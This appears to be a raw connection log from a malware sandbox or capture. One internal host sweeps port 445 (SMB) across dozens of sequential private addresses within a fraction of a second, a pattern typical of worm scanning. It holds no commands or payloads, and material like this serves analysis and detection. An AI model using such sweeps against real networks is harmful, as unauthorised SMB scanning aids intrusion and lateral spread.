Jul 6, 2024 14:11:28.173913002 CEST	445	50912	192.168.0.142	192.168.2.6
Jul 6, 2024 14:11:28.175256014 CEST	50910	445	192.168.2.6	192.168.1.179
Jul 6, 2024 14:11:28.175256014 CEST	50911	445	192.168.2.6	192.168.1.178
Jul 6, 2024 14:11:28.175256014 CEST	50911	445	192.168.2.6	192.168.1.178
Jul 6, 2024 14:11:28.175256014 CEST	50912	445	192.168.2.6	192.168.0.142
Jul 6, 2024 14:11:28.175256014 CEST	50910	445	192.168.2.6	192.168.1.179
Jul 6, 2024 14:11:28.179251909 CEST	50912	445	192.168.2.6	192.168.0.142
Jul 6, 2024 14:11:28.179508924 CEST	50914	445	192.168.2.6	192.168.0.21
Jul 6, 2024 14:11:28.181803942 CEST	50915	445	192.168.2.6	192.168.0.143
Jul 6, 2024 14:11:28.182569027 CEST	445	50911	192.168.1.178	192.168.2.6
Jul 6, 2024 14:11:28.182749987 CEST	445	50910	192.168.1.179	192.168.2.6
Jul 6, 2024 14:11:28.194015980 CEST	445	50910	192.168.1.179	192.168.2.6
Jul 6, 2024 14:11:28.194024086 CEST	445	50911	192.168.1.178	192.168.2.6
Jul 6, 2024 14:11:28.194034100 CEST	445	50912	192.168.0.142	192.168.2.6
Jul 6, 2024 14:11:28.194081068 CEST	445	50914	192.168.0.21	192.168.2.6
Jul 6, 2024 14:11:28.194139004 CEST	445	50915	192.168.0.143	192.168.2.6
Jul 6, 2024 14:11:28.194164991 CEST	445	50912	192.168.0.142	192.168.2.6
Jul 6, 2024 14:11:28.194186926 CEST	50915	445	192.168.2.6	192.168.0.143
Jul 6, 2024 14:11:28.194664955 CEST	50914	445	192.168.2.6	192.168.0.21
Jul 6, 2024 14:11:28.194664955 CEST	50914	445	192.168.2.6	192.168.0.21
Jul 6, 2024 14:11:28.194876909 CEST	50915	445	192.168.2.6	192.168.0.143
Jul 6, 2024 14:11:28.195913076 CEST	50918	445	192.168.2.6	192.168.0.144
Jul 6, 2024 14:11:28.198303938 CEST	50912	445	192.168.2.6	192.168.0.142
Jul 6, 2024 14:11:28.200108051 CEST	445	50914	192.168.0.21	192.168.2.6
Jul 6, 2024 14:11:28.200180054 CEST	445	50915	192.168.0.143	192.168.2.6
Jul 6, 2024 14:11:28.200227976 CEST	50915	445	192.168.2.6	192.168.0.143
Jul 6, 2024 14:11:28.200521946 CEST	445	50914	192.168.0.21	192.168.2.6
Jul 6, 2024 14:11:28.201498985 CEST	445	50915	192.168.0.143	192.168.2.6
Jul 6, 2024 14:11:28.201519966 CEST	445	50918	192.168.0.144	192.168.2.6
Jul 6, 2024 14:11:28.201566935 CEST	50918	445	192.168.2.6	192.168.0.144
Jul 6, 2024 14:11:28.201648951 CEST	50918	445	192.168.2.6	192.168.0.144
Jul 6, 2024 14:11:28.207938910 CEST	445	50918	192.168.0.144	192.168.2.6
Jul 6, 2024 14:11:28.210062981 CEST	50919	445	192.168.2.6	192.168.1.181
Jul 6, 2024 14:11:28.210114002 CEST	50920	445	192.168.2.6	192.168.1.180
Jul 6, 2024 14:11:28.210179090 CEST	50921	445	192.168.2.6	192.168.0.22
Jul 6, 2024 14:11:28.210180998 CEST	50918	445	192.168.2.6	192.168.0.144
Jul 6, 2024 14:11:28.210273027 CEST	50922	445	192.168.2.6	192.168.0.23
Jul 6, 2024 14:11:28.210320950 CEST	50923	445	192.168.2.6	192.168.0.24
Jul 6, 2024 14:11:28.211688042 CEST	50924	445	192.168.2.6	192.168.0.145
Jul 6, 2024 14:11:28.216707945 CEST	445	50919	192.168.1.181	192.168.2.6
Jul 6, 2024 14:11:28.216761112 CEST	445	50920	192.168.1.180	192.168.2.6
Jul 6, 2024 14:11:28.216772079 CEST	445	50921	192.168.0.22	192.168.2.6
Jul 6, 2024 14:11:28.216780901 CEST	445	50922	192.168.0.23	192.168.2.6
Jul 6, 2024 14:11:28.216799021 CEST	445	50923	192.168.0.24	192.168.2.6
Jul 6, 2024 14:11:28.216864109 CEST	50923	445	192.168.2.6	192.168.0.24
Jul 6, 2024 14:11:28.217005968 CEST	50923	445	192.168.2.6	192.168.0.24
Jul 6, 2024 14:11:28.217247009 CEST	50919	445	192.168.2.6	192.168.1.181
Jul 6, 2024 14:11:28.217247009 CEST	50922	445	192.168.2.6	192.168.0.23
Jul 6, 2024 14:11:28.217247009 CEST	50919	445	192.168.2.6	192.168.1.181
Jul 6, 2024 14:11:28.217247009 CEST	50922	445	192.168.2.6	192.168.0.23
Jul 6, 2024 14:11:28.218710899 CEST	50920	445	192.168.2.6	192.168.1.180
Jul 6, 2024 14:11:28.218710899 CEST	50921	445	192.168.2.6	192.168.0.22
Jul 6, 2024 14:11:28.218710899 CEST	50921	445	192.168.2.6	192.168.0.22
Jul 6, 2024 14:11:28.224308014 CEST	445	50923	192.168.0.24	192.168.2.6
Jul 6, 2024 14:11:28.224610090 CEST	445	50923	192.168.0.24	192.168.2.6
Jul 6, 2024 14:11:28.224808931 CEST	445	50919	192.168.1.181	192.168.2.6
Jul 6, 2024 14:11:28.225425005 CEST	445	50922	192.168.0.23	192.168.2.6
Jul 6, 2024 14:11:28.226660013 CEST	50927	445	192.168.2.6	192.168.0.146
Jul 6, 2024 14:11:28.226684093 CEST	445	50924	192.168.0.145	192.168.2.6
Jul 6, 2024 14:11:28.226744890 CEST	50924	445	192.168.2.6	192.168.0.145
Jul 6, 2024 14:11:28.226816893 CEST	50924	445	192.168.2.6	192.168.0.145
Jul 6, 2024 14:11:28.227139950 CEST	445	50921	192.168.0.22	192.168.2.6
Jul 6, 2024 14:11:28.228696108 CEST	50922	445	192.168.2.6	192.168.0.23
Jul 6, 2024 14:11:28.229948044 CEST	445	50919	192.168.1.181	192.168.2.6
Jul 6, 2024 14:11:28.229959965 CEST	445	50922	192.168.0.23	192.168.2.6
Jul 6, 2024 14:11:28.230206013 CEST	445	50920	192.168.1.180	192.168.2.6
Jul 6, 2024 14:11:28.230288029 CEST	50920	445	192.168.2.6	192.168.1.180
Jul 6, 2024 14:11:28.230360985 CEST	445	50921	192.168.0.22	192.168.2.6
Jul 6, 2024 14:11:28.241247892 CEST	445	50927	192.168.0.146	192.168.2.6
Jul 6, 2024 14:11:28.241281033 CEST	50928	445	192.168.2.6	192.168.0.25
Jul 6, 2024 14:11:28.241288900 CEST	445	50922	192.168.0.23	192.168.2.6
Jul 6, 2024 14:11:28.241317034 CEST	50927	445	192.168.2.6	192.168.0.146
Jul 6, 2024 14:11:28.241401911 CEST	50927	445	192.168.2.6	192.168.0.146
Jul 6, 2024 14:11:28.241806030 CEST	50929	445	192.168.2.6	192.168.1.182
Jul 6, 2024 14:11:28.242643118 CEST	50931	445	192.168.2.6	192.168.0.147
Jul 6, 2024 14:11:28.245887995 CEST	50930	445	192.168.2.6	192.168.1.183
Jul 6, 2024 14:11:28.250714064 CEST	445	50924	192.168.0.145	192.168.2.6
Jul 6, 2024 14:11:28.251615047 CEST	445	50928	192.168.0.25	192.168.2.6
Jul 6, 2024 14:11:28.251625061 CEST	445	50929	192.168.1.182	192.168.2.6
Jul 6, 2024 14:11:28.251633883 CEST	445	50931	192.168.0.147	192.168.2.6
Jul 6, 2024 14:11:28.253180981 CEST	445	50930	192.168.1.183	192.168.2.6
Jul 6, 2024 14:11:28.253633976 CEST	50930	445	192.168.2.6	192.168.1.183
Jul 6, 2024 14:11:28.253633976 CEST	50930	445	192.168.2.6	192.168.1.183
Jul 6, 2024 14:11:28.255106926 CEST	445	50924	192.168.0.145	192.168.2.6
Jul 6, 2024 14:11:28.255125046 CEST	445	50927	192.168.0.146	192.168.2.6
Jul 6, 2024 14:11:28.255582094 CEST	50929	445	192.168.2.6	192.168.1.182
Jul 6, 2024 14:11:28.255582094 CEST	50929	445	192.168.2.6	192.168.1.182
Jul 6, 2024 14:11:28.256956100 CEST	50934	445	192.168.2.6	192.168.0.27
Jul 6, 2024 14:11:28.257256031 CEST	50924	445	192.168.2.6	192.168.0.145
Jul 6, 2024 14:11:28.257256031 CEST	50927	445	192.168.2.6	192.168.0.146
Jul 6, 2024 14:11:28.259591103 CEST	50928	445	192.168.2.6	192.168.0.25
Jul 6, 2024 14:11:28.259591103 CEST	50931	445	192.168.2.6	192.168.0.147
Jul 6, 2024 14:11:28.259591103 CEST	50928	445	192.168.2.6	192.168.0.25
Jul 6, 2024 14:11:28.259591103 CEST	50931	445	192.168.2.6	192.168.0.147
Jul 6, 2024 14:11:28.263149023 CEST	50937	445	192.168.2.6	192.168.0.148
Jul 6, 2024 14:11:28.264540911 CEST	50933	445	192.168.2.6	192.168.1.185
Jul 6, 2024 14:11:28.264540911 CEST	50935	445	192.168.2.6	192.168.1.184
Jul 6, 2024 14:11:28.273437977 CEST	50938	445	192.168.2.6	192.168.0.149
Jul 6, 2024 14:11:28.274406910 CEST	445	50930	192.168.1.183	192.168.2.6
Jul 6, 2024 14:11:28.274451017 CEST	445	50934	192.168.0.27	192.168.2.6
Jul 6, 2024 14:11:28.275847912 CEST	445	50929	192.168.1.182	192.168.2.6
Jul 6, 2024 14:11:28.275985956 CEST	445	50928	192.168.0.25	192.168.2.6
Jul 6, 2024 14:11:28.276062965 CEST	445	50931	192.168.0.147	192.168.2.6
Jul 6, 2024 14:11:28.276082039 CEST	445	50937	192.168.0.148	192.168.2.6
Jul 6, 2024 14:11:28.276098013 CEST	445	50933	192.168.1.185	192.168.2.6
Jul 6, 2024 14:11:28.276107073 CEST	445	50935	192.168.1.184	192.168.2.6
Jul 6, 2024 14:11:28.276444912 CEST	50934	445	192.168.2.6	192.168.0.27
Jul 6, 2024 14:11:28.276444912 CEST	50934	445	192.168.2.6	192.168.0.27
Jul 6, 2024 14:11:28.278043032 CEST	445	50929	192.168.1.182	192.168.2.6
Jul 6, 2024 14:11:28.278052092 CEST	445	50928	192.168.0.25	192.168.2.6
Jul 6, 2024 14:11:28.278204918 CEST	445	50931	192.168.0.147	192.168.2.6
Jul 6, 2024 14:11:28.278769016 CEST	50933	445	192.168.2.6	192.168.1.185
Jul 6, 2024 14:11:28.278769016 CEST	50935	445	192.168.2.6	192.168.1.184
Jul 6, 2024 14:11:28.278769016 CEST	50933	445	192.168.2.6	192.168.1.185
Jul 6, 2024 14:11:28.278769016 CEST	50935	445	192.168.2.6	192.168.1.184
Jul 6, 2024 14:11:28.280349970 CEST	445	50938	192.168.0.149	192.168.2.6
Jul 6, 2024 14:11:28.280410051 CEST	50938	445	192.168.2.6	192.168.0.149
Jul 6, 2024 14:11:28.280507088 CEST	50938	445	192.168.2.6	192.168.0.149
Jul 6, 2024 14:11:28.284615993 CEST	50937	445	192.168.2.6	192.168.0.148
Jul 6, 2024 14:11:28.284616947 CEST	50937	445	192.168.2.6	192.168.0.148
Jul 6, 2024 14:11:28.285047054 CEST	445	50934	192.168.0.27	192.168.2.6
Jul 6, 2024 14:11:28.285058022 CEST	445	50934	192.168.0.27	192.168.2.6
Jul 6, 2024 14:11:28.285331011 CEST	50934	445	192.168.2.6	192.168.0.27
Jul 6, 2024 14:11:28.286556959 CEST	50931	445	192.168.2.6	192.168.0.147
Jul 6, 2024 14:11:28.288326025 CEST	445	50938	192.168.0.149	192.168.2.6
Jul 6, 2024 14:11:28.288373947 CEST	50938	445	192.168.2.6	192.168.0.149
Jul 6, 2024 14:11:28.288398981 CEST	50941	445	192.168.2.6	192.168.0.26
Jul 6, 2024 14:11:28.291244030 CEST	445	50933	192.168.1.185	192.168.2.6
Jul 6, 2024 14:11:28.291395903 CEST	50942	445	192.168.2.6	192.168.0.150
Jul 6, 2024 14:11:28.292193890 CEST	445	50937	192.168.0.148	192.168.2.6
Jul 6, 2024 14:11:28.292342901 CEST	50937	445	192.168.2.6	192.168.0.148
Jul 6, 2024 14:11:28.292362928 CEST	445	50935	192.168.1.184	192.168.2.6
Jul 6, 2024 14:11:28.292983055 CEST	445	50933	192.168.1.185	192.168.2.6
Jul 6, 2024 14:11:28.293523073 CEST	445	50935	192.168.1.184	192.168.2.6
Jul 6, 2024 14:11:28.293595076 CEST	50940	445	192.168.2.6	192.168.1.186
Jul 6, 2024 14:11:28.293863058 CEST	50944	445	192.168.2.6	192.168.0.28
Jul 6, 2024 14:11:28.294648886 CEST	50946	445	192.168.2.6	192.168.0.29
Jul 6, 2024 14:11:28.294897079 CEST	445	50934	192.168.0.27	192.168.2.6
Jul 6, 2024 14:11:28.295121908 CEST	50945	445	192.168.2.6	192.168.1.187
Jul 6, 2024 14:11:28.295722961 CEST	445	50941	192.168.0.26	192.168.2.6
Jul 6, 2024 14:11:28.296899080 CEST	50941	445	192.168.2.6	192.168.0.26
Jul 6, 2024 14:11:28.296899080 CEST	50941	445	192.168.2.6	192.168.0.26
Jul 6, 2024 14:11:28.297806978 CEST	445	50937	192.168.0.148	192.168.2.6
Jul 6, 2024 14:11:28.300549030 CEST	445	50942	192.168.0.150	192.168.2.6
Jul 6, 2024 14:11:28.300677061 CEST	50942	445	192.168.2.6	192.168.0.150
Jul 6, 2024 14:11:28.301918030 CEST	445	50944	192.168.0.28	192.168.2.6
Jul 6, 2024 14:11:28.301987886 CEST	50944	445	192.168.2.6	192.168.0.28
Jul 6, 2024 14:11:28.302043915 CEST	50944	445	192.168.2.6	192.168.0.28
Jul 6, 2024 14:11:28.303080082 CEST	445	50946	192.168.0.29	192.168.2.6
Jul 6, 2024 14:11:28.303168058 CEST	50946	445	192.168.2.6	192.168.0.29
Jul 6, 2024 14:11:28.303203106 CEST	50946	445	192.168.2.6	192.168.0.29
Jul 6, 2024 14:11:28.303636074 CEST	50942	445	192.168.2.6	192.168.0.150
Jul 6, 2024 14:11:28.304156065 CEST	50947	445	192.168.2.6	192.168.0.30
Jul 6, 2024 14:11:28.304332972 CEST	50948	445	192.168.2.6	192.168.1.188
Jul 6, 2024 14:11:28.305206060 CEST	50949	445	192.168.2.6	192.168.0.151
Jul 6, 2024 14:11:28.305304050 CEST	445	50941	192.168.0.26	192.168.2.6
Jul 6, 2024 14:11:28.305324078 CEST	445	50940	192.168.1.186	192.168.2.6
Jul 6, 2024 14:11:28.305385113 CEST	50940	445	192.168.2.6	192.168.1.186
Jul 6, 2024 14:11:28.305450916 CEST	50940	445	192.168.2.6	192.168.1.186
Jul 6, 2024 14:11:28.306392908 CEST	445	50941	192.168.0.26	192.168.2.6
Jul 6, 2024 14:11:28.307723045 CEST	445	50945	192.168.1.187	192.168.2.6
Jul 6, 2024 14:11:28.308110952 CEST	50945	445	192.168.2.6	192.168.1.187
Jul 6, 2024 14:11:28.308110952 CEST	50945	445	192.168.2.6	192.168.1.187
Jul 6, 2024 14:11:28.311172962 CEST	445	50944	192.168.0.28	192.168.2.6
Jul 6, 2024 14:11:28.311723948 CEST	445	50942	192.168.0.150	192.168.2.6
Jul 6, 2024 14:11:28.312582016 CEST	445	50946	192.168.0.29	192.168.2.6
Jul 6, 2024 14:11:28.312603951 CEST	445	50942	192.168.0.150	192.168.2.6
Jul 6, 2024 14:11:28.312629938 CEST	445	50947	192.168.0.30	192.168.2.6
Jul 6, 2024 14:11:28.312647104 CEST	445	50948	192.168.1.188	192.168.2.6
Jul 6, 2024 14:11:28.312686920 CEST	50947	445	192.168.2.6	192.168.0.30
Jul 6, 2024 14:11:28.312702894 CEST	50948	445	192.168.2.6	192.168.1.188
Jul 6, 2024 14:11:28.312761068 CEST	50947	445	192.168.2.6	192.168.0.30
Jul 6, 2024 14:11:28.312820911 CEST	50948	445	192.168.2.6	192.168.1.188
Jul 6, 2024 14:11:28.313122988 CEST	445	50944	192.168.0.28	192.168.2.6
Jul 6, 2024 14:11:28.313924074 CEST	445	50949	192.168.0.151	192.168.2.6
Jul 6, 2024 14:11:28.314013958 CEST	445	50940	192.168.1.186	192.168.2.6
Jul 6, 2024 14:11:28.314023018 CEST	445	50946	192.168.0.29	192.168.2.6
Jul 6, 2024 14:11:28.314232111 CEST	445	50940	192.168.1.186	192.168.2.6
Jul 6, 2024 14:11:28.314320087 CEST	50949	445	192.168.2.6	192.168.0.151
Jul 6, 2024 14:11:28.316175938 CEST	50942	445	192.168.2.6	192.168.0.150
Jul 6, 2024 14:11:28.319240093 CEST	50949	445	192.168.2.6	192.168.0.151
Jul 6, 2024 14:11:28.320349932 CEST	50951	445	192.168.2.6	192.168.0.152
Jul 6, 2024 14:11:28.320801020 CEST	445	50947	192.168.0.30	192.168.2.6
Jul 6, 2024 14:11:28.320930958 CEST	445	50948	192.168.1.188	192.168.2.6
Jul 6, 2024 14:11:28.321297884 CEST	445	50947	192.168.0.30	192.168.2.6
Jul 6, 2024 14:11:28.321842909 CEST	445	50948	192.168.1.188	192.168.2.6
Jul 6, 2024 14:11:28.323487043 CEST	445	50949	192.168.0.151	192.168.2.6
Jul 6, 2024 14:11:28.323542118 CEST	50949	445	192.168.2.6	192.168.0.151
Jul 6, 2024 14:11:28.323842049 CEST	445	50945	192.168.1.187	192.168.2.6
Jul 6, 2024 14:11:28.324213028 CEST	445	50945	192.168.1.187	192.168.2.6
Jul 6, 2024 14:11:28.327634096 CEST	445	50949	192.168.0.151	192.168.2.6
Jul 6, 2024 14:11:28.328464985 CEST	445	50951	192.168.0.152	192.168.2.6
Jul 6, 2024 14:11:28.328527927 CEST	50951	445	192.168.2.6	192.168.0.152
Jul 6, 2024 14:11:28.334961891 CEST	50951	445	192.168.2.6	192.168.0.152
Jul 6, 2024 14:11:28.336267948 CEST	445	50951	192.168.0.152	192.168.2.6
Jul 6, 2024 14:11:28.336313009 CEST	50951	445	192.168.2.6	192.168.0.152
Jul 6, 2024 14:11:28.337189913 CEST	50953	445	192.168.2.6	192.168.0.153
Jul 6, 2024 14:11:28.343959093 CEST	445	50951	192.168.0.152	192.168.2.6
Jul 6, 2024 14:11:28.344993114 CEST	445	50953	192.168.0.153	192.168.2.6
Jul 6, 2024 14:11:28.345069885 CEST	50953	445	192.168.2.6	192.168.0.153
Jul 6, 2024 14:11:28.345177889 CEST	50953	445	192.168.2.6	192.168.0.153
Jul 6, 2024 14:11:28.351484060 CEST	445	50953	192.168.0.153	192.168.2.6
Jul 6, 2024 14:11:28.351525068 CEST	50953	445	192.168.2.6	192.168.0.153
Jul 6, 2024 14:11:28.351878881 CEST	445	50953	192.168.0.153	192.168.2.6
Jul 6, 2024 14:11:28.352950096 CEST	50956	445	192.168.2.6	192.168.0.154
Jul 6, 2024 14:11:28.358380079 CEST	445	50956	192.168.0.154	192.168.2.6
Jul 6, 2024 14:11:28.358453035 CEST	50956	445	192.168.2.6	192.168.0.154
Jul 6, 2024 14:11:28.358541012 CEST	50956	445	192.168.2.6	192.168.0.154
Jul 6, 2024 14:11:28.363957882 CEST	445	50956	192.168.0.154	192.168.2.6
Jul 6, 2024 14:11:28.364017010 CEST	50956	445	192.168.2.6	192.168.0.154
Jul 6, 2024 14:11:28.368046999 CEST	50959	445	192.168.2.6	192.168.0.32
Jul 6, 2024 14:11:28.368566036 CEST	50961	445	192.168.2.6	192.168.1.191
Jul 6, 2024 14:11:28.368709087 CEST	50963	445	192.168.2.6	192.168.0.155
Jul 6, 2024 14:11:28.368824959 CEST	50957	445	192.168.2.6	192.168.1.189
Jul 6, 2024 14:11:28.368824959 CEST	50958	445	192.168.2.6	192.168.1.190
Jul 6, 2024 14:11:28.373646021 CEST	445	50961	192.168.1.191	192.168.2.6
Jul 6, 2024 14:11:28.373866081 CEST	445	50963	192.168.0.155	192.168.2.6
Jul 6, 2024 14:11:28.373954058 CEST	445	50957	192.168.1.189	192.168.2.6
Jul 6, 2024 14:11:28.374134064 CEST	445	50958	192.168.1.190	192.168.2.6
Jul 6, 2024 14:11:28.375483036 CEST	445	50959	192.168.0.32	192.168.2.6
Jul 6, 2024 14:11:28.375551939 CEST	50959	445	192.168.2.6	192.168.0.32
Jul 6, 2024 14:11:28.376461983 CEST	50960	445	192.168.2.6	192.168.1.192
Jul 6, 2024 14:11:28.377039909 CEST	50963	445	192.168.2.6	192.168.0.155
Jul 6, 2024 14:11:28.378464937 CEST	50959	445	192.168.2.6	192.168.0.32
Jul 6, 2024 14:11:28.378587961 CEST	50963	445	192.168.2.6	192.168.0.155
Jul 6, 2024 14:11:28.380810976 CEST	50961	445	192.168.2.6	192.168.1.191
Jul 6, 2024 14:11:28.380810976 CEST	50961	445	192.168.2.6	192.168.1.191
Jul 6, 2024 14:11:28.381051064 CEST	50957	445	192.168.2.6	192.168.1.189
Jul 6, 2024 14:11:28.381051064 CEST	50958	445	192.168.2.6	192.168.1.190
Jul 6, 2024 14:11:28.381051064 CEST	50957	445	192.168.2.6	192.168.1.189
Jul 6, 2024 14:11:28.381154060 CEST	445	50959	192.168.0.32	192.168.2.6
Jul 6, 2024 14:11:28.381217003 CEST	50959	445	192.168.2.6	192.168.0.32
Jul 6, 2024 14:11:28.381891012 CEST	445	50960	192.168.1.192	192.168.2.6
Jul 6, 2024 14:11:28.382740021 CEST	445	50963	192.168.0.155	192.168.2.6
Jul 6, 2024 14:11:28.383399963 CEST	445	50959	192.168.0.32	192.168.2.6
Jul 6, 2024 14:11:28.384006023 CEST	50964	445	192.168.2.6	192.168.0.35
Jul 6, 2024 14:11:28.384006023 CEST	50965	445	192.168.2.6	192.168.0.34
Jul 6, 2024 14:11:28.384605885 CEST	50967	445	192.168.2.6	192.168.0.156
Jul 6, 2024 14:11:28.385133028 CEST	50960	445	192.168.2.6	192.168.1.192
Jul 6, 2024 14:11:28.385133028 CEST	50960	445	192.168.2.6	192.168.1.192
Jul 6, 2024 14:11:28.386228085 CEST	445	50959	192.168.0.32	192.168.2.6
Jul 6, 2024 14:11:28.387443066 CEST	445	50957	192.168.1.189	192.168.2.6
Jul 6, 2024 14:11:28.387790918 CEST	445	50958	192.168.1.190	192.168.2.6
Jul 6, 2024 14:11:28.388099909 CEST	445	50961	192.168.1.191	192.168.2.6
Jul 6, 2024 14:11:28.388717890 CEST	50963	445	192.168.2.6	192.168.0.155
Jul 6, 2024 14:11:28.388797998 CEST	445	50964	192.168.0.35	192.168.2.6
Jul 6, 2024 14:11:28.389316082 CEST	445	50965	192.168.0.34	192.168.2.6
Jul 6, 2024 14:11:28.390918970 CEST	445	50967	192.168.0.156	192.168.2.6
Jul 6, 2024 14:11:28.391736984 CEST	445	50963	192.168.0.155	192.168.2.6
Jul 6, 2024 14:11:28.391841888 CEST	445	50960	192.168.1.192	192.168.2.6
Jul 6, 2024 14:11:28.392283916 CEST	445	50960	192.168.1.192	192.168.2.6
Jul 6, 2024 14:11:28.393172979 CEST	50958	445	192.168.2.6	192.168.1.190
Jul 6, 2024 14:11:28.393172979 CEST	50957	445	192.168.2.6	192.168.1.189
Jul 6, 2024 14:11:28.393902063 CEST	50961	445	192.168.2.6	192.168.1.191
Jul 6, 2024 14:11:28.394227982 CEST	50967	445	192.168.2.6	192.168.0.156
Jul 6, 2024 14:11:28.394227982 CEST	50967	445	192.168.2.6	192.168.0.156
Jul 6, 2024 14:11:28.397933960 CEST	445	50961	192.168.1.191	192.168.2.6
Jul 6, 2024 14:11:28.399121046 CEST	50969	445	192.168.2.6	192.168.0.157
Jul 6, 2024 14:11:28.399575949 CEST	445	50957	192.168.1.189	192.168.2.6
Jul 6, 2024 14:11:28.399585962 CEST	445	50958	192.168.1.190	192.168.2.6
Jul 6, 2024 14:11:28.399903059 CEST	50964	445	192.168.2.6	192.168.0.35
Jul 6, 2024 14:11:28.399903059 CEST	50964	445	192.168.2.6	192.168.0.35
Jul 6, 2024 14:11:28.399903059 CEST	50965	445	192.168.2.6	192.168.0.34
Jul 6, 2024 14:11:28.399903059 CEST	50965	445	192.168.2.6	192.168.0.34
Jul 6, 2024 14:11:28.400310993 CEST	50958	445	192.168.2.6	192.168.1.190
Jul 6, 2024 14:11:28.402755976 CEST	445	50967	192.168.0.156	192.168.2.6
Jul 6, 2024 14:11:28.402934074 CEST	50967	445	192.168.2.6	192.168.0.156
Jul 6, 2024 14:11:28.404090881 CEST	445	50969	192.168.0.157	192.168.2.6
Jul 6, 2024 14:11:28.404151917 CEST	50969	445	192.168.2.6	192.168.0.157
Jul 6, 2024 14:11:28.404237986 CEST	50969	445	192.168.2.6	192.168.0.157
Jul 6, 2024 14:11:28.405107021 CEST	445	50964	192.168.0.35	192.168.2.6
Jul 6, 2024 14:11:28.405117035 CEST	445	50965	192.168.0.34	192.168.2.6
Jul 6, 2024 14:11:28.405126095 CEST	445	50957	192.168.1.189	192.168.2.6
Jul 6, 2024 14:11:28.405349016 CEST	445	50964	192.168.0.35	192.168.2.6
Jul 6, 2024 14:11:28.405586958 CEST	445	50965	192.168.0.34	192.168.2.6
Jul 6, 2024 14:11:28.405881882 CEST	445	50958	192.168.1.190	192.168.2.6
Jul 6, 2024 14:11:28.410064936 CEST	445	50961	192.168.1.191	192.168.2.6
Jul 6, 2024 14:11:28.410764933 CEST	445	50969	192.168.0.157	192.168.2.6
Jul 6, 2024 14:11:28.410814047 CEST	50969	445	192.168.2.6	192.168.0.157
Jul 6, 2024 14:11:28.413389921 CEST	50970	445	192.168.2.6	192.168.1.194
Jul 6, 2024 14:11:28.414458990 CEST	50972	445	192.168.2.6	192.168.0.158
Jul 6, 2024 14:11:28.418355942 CEST	445	50970	192.168.1.194	192.168.2.6
Jul 6, 2024 14:11:28.419420958 CEST	445	50972	192.168.0.158	192.168.2.6
Jul 6, 2024 14:11:28.419469118 CEST	50972	445	192.168.2.6	192.168.0.158
Jul 6, 2024 14:11:28.419548035 CEST	50972	445	192.168.2.6	192.168.0.158
Jul 6, 2024 14:11:28.421708107 CEST	50970	445	192.168.2.6	192.168.1.194
Jul 6, 2024 14:11:28.421708107 CEST	50970	445	192.168.2.6	192.168.1.194
Jul 6, 2024 14:11:28.425911903 CEST	445	50972	192.168.0.158	192.168.2.6
Jul 6, 2024 14:11:28.427763939 CEST	50972	445	192.168.2.6	192.168.0.158
Jul 6, 2024 14:11:28.428673029 CEST	445	50970	192.168.1.194	192.168.2.6
Jul 6, 2024 14:11:28.429831982 CEST	50974	445	192.168.2.6	192.168.0.159
Jul 6, 2024 14:11:28.430653095 CEST	445	50970	192.168.1.194	192.168.2.6
Jul 6, 2024 14:11:28.435815096 CEST	50977	445	192.168.2.6	192.168.0.33
Jul 6, 2024 14:11:28.436925888 CEST	50978	445	192.168.2.6	192.168.1.193
Jul 6, 2024 14:11:28.438971996 CEST	445	50974	192.168.0.159	192.168.2.6
Jul 6, 2024 14:11:28.439048052 CEST	50974	445	192.168.2.6	192.168.0.159
Jul 6, 2024 14:11:28.439132929 CEST	50974	445	192.168.2.6	192.168.0.159
Jul 6, 2024 14:11:28.439975977 CEST	50976	445	192.168.2.6	192.168.0.31
Jul 6, 2024 14:11:28.440757036 CEST	50973	445	192.168.2.6	192.168.0.36
Jul 6, 2024 14:11:28.443711996 CEST	445	50977	192.168.0.33	192.168.2.6
Jul 6, 2024 14:11:28.444547892 CEST	50980	445	192.168.2.6	192.168.1.195
Jul 6, 2024 14:11:28.444641113 CEST	50981	445	192.168.2.6	192.168.0.37
Jul 6, 2024 14:11:28.444762945 CEST	50982	445	192.168.2.6	192.168.0.38
Jul 6, 2024 14:11:28.444824934 CEST	445	50978	192.168.1.193	192.168.2.6
Jul 6, 2024 14:11:28.444842100 CEST	50977	445	192.168.2.6	192.168.0.33
Jul 6, 2024 14:11:28.444842100 CEST	50977	445	192.168.2.6	192.168.0.33
Jul 6, 2024 14:11:28.444873095 CEST	50978	445	192.168.2.6	192.168.1.193
Jul 6, 2024 14:11:28.444925070 CEST	50978	445	192.168.2.6	192.168.1.193
Jul 6, 2024 14:11:28.445420980 CEST	50979	445	192.168.2.6	192.168.1.196
Jul 6, 2024 14:11:28.445667028 CEST	50983	445	192.168.2.6	192.168.0.160
Jul 6, 2024 14:11:28.447690010 CEST	445	50974	192.168.0.159	192.168.2.6
Jul 6, 2024 14:11:28.447700977 CEST	445	50976	192.168.0.31	192.168.2.6
Jul 6, 2024 14:11:28.447747946 CEST	50974	445	192.168.2.6	192.168.0.159
Jul 6, 2024 14:11:28.448642015 CEST	445	50973	192.168.0.36	192.168.2.6
Jul 6, 2024 14:11:28.452069998 CEST	445	50980	192.168.1.195	192.168.2.6
Jul 6, 2024 14:11:28.452142000 CEST	50980	445	192.168.2.6	192.168.1.195
Jul 6, 2024 14:11:28.452182055 CEST	50980	445	192.168.2.6	192.168.1.195
Jul 6, 2024 14:11:28.452967882 CEST	445	50981	192.168.0.37	192.168.2.6
Jul 6, 2024 14:11:28.452980042 CEST	445	50982	192.168.0.38	192.168.2.6
Jul 6, 2024 14:11:28.453006983 CEST	445	50977	192.168.0.33	192.168.2.6
Jul 6, 2024 14:11:28.453016996 CEST	445	50978	192.168.1.193	192.168.2.6
Jul 6, 2024 14:11:28.453035116 CEST	445	50983	192.168.0.160	192.168.2.6
Jul 6, 2024 14:11:28.453061104 CEST	445	50977	192.168.0.33	192.168.2.6
Jul 6, 2024 14:11:28.453131914 CEST	445	50979	192.168.1.196	192.168.2.6
Jul 6, 2024 14:11:28.453205109 CEST	50982	445	192.168.2.6	192.168.0.38
Jul 6, 2024 14:11:28.453205109 CEST	50981	445	192.168.2.6	192.168.0.37
Jul 6, 2024 14:11:28.453205109 CEST	50981	445	192.168.2.6	192.168.0.37
Jul 6, 2024 14:11:28.453254938 CEST	50982	445	192.168.2.6	192.168.0.38
Jul 6, 2024 14:11:28.453679085 CEST	445	50978	192.168.1.193	192.168.2.6
Jul 6, 2024 14:11:28.453727961 CEST	50983	445	192.168.2.6	192.168.0.160
Jul 6, 2024 14:11:28.457045078 CEST	445	50980	192.168.1.195	192.168.2.6
Jul 6, 2024 14:11:28.457231998 CEST	445	50980	192.168.1.195	192.168.2.6
Jul 6, 2024 14:11:28.457982063 CEST	50973	445	192.168.2.6	192.168.0.36
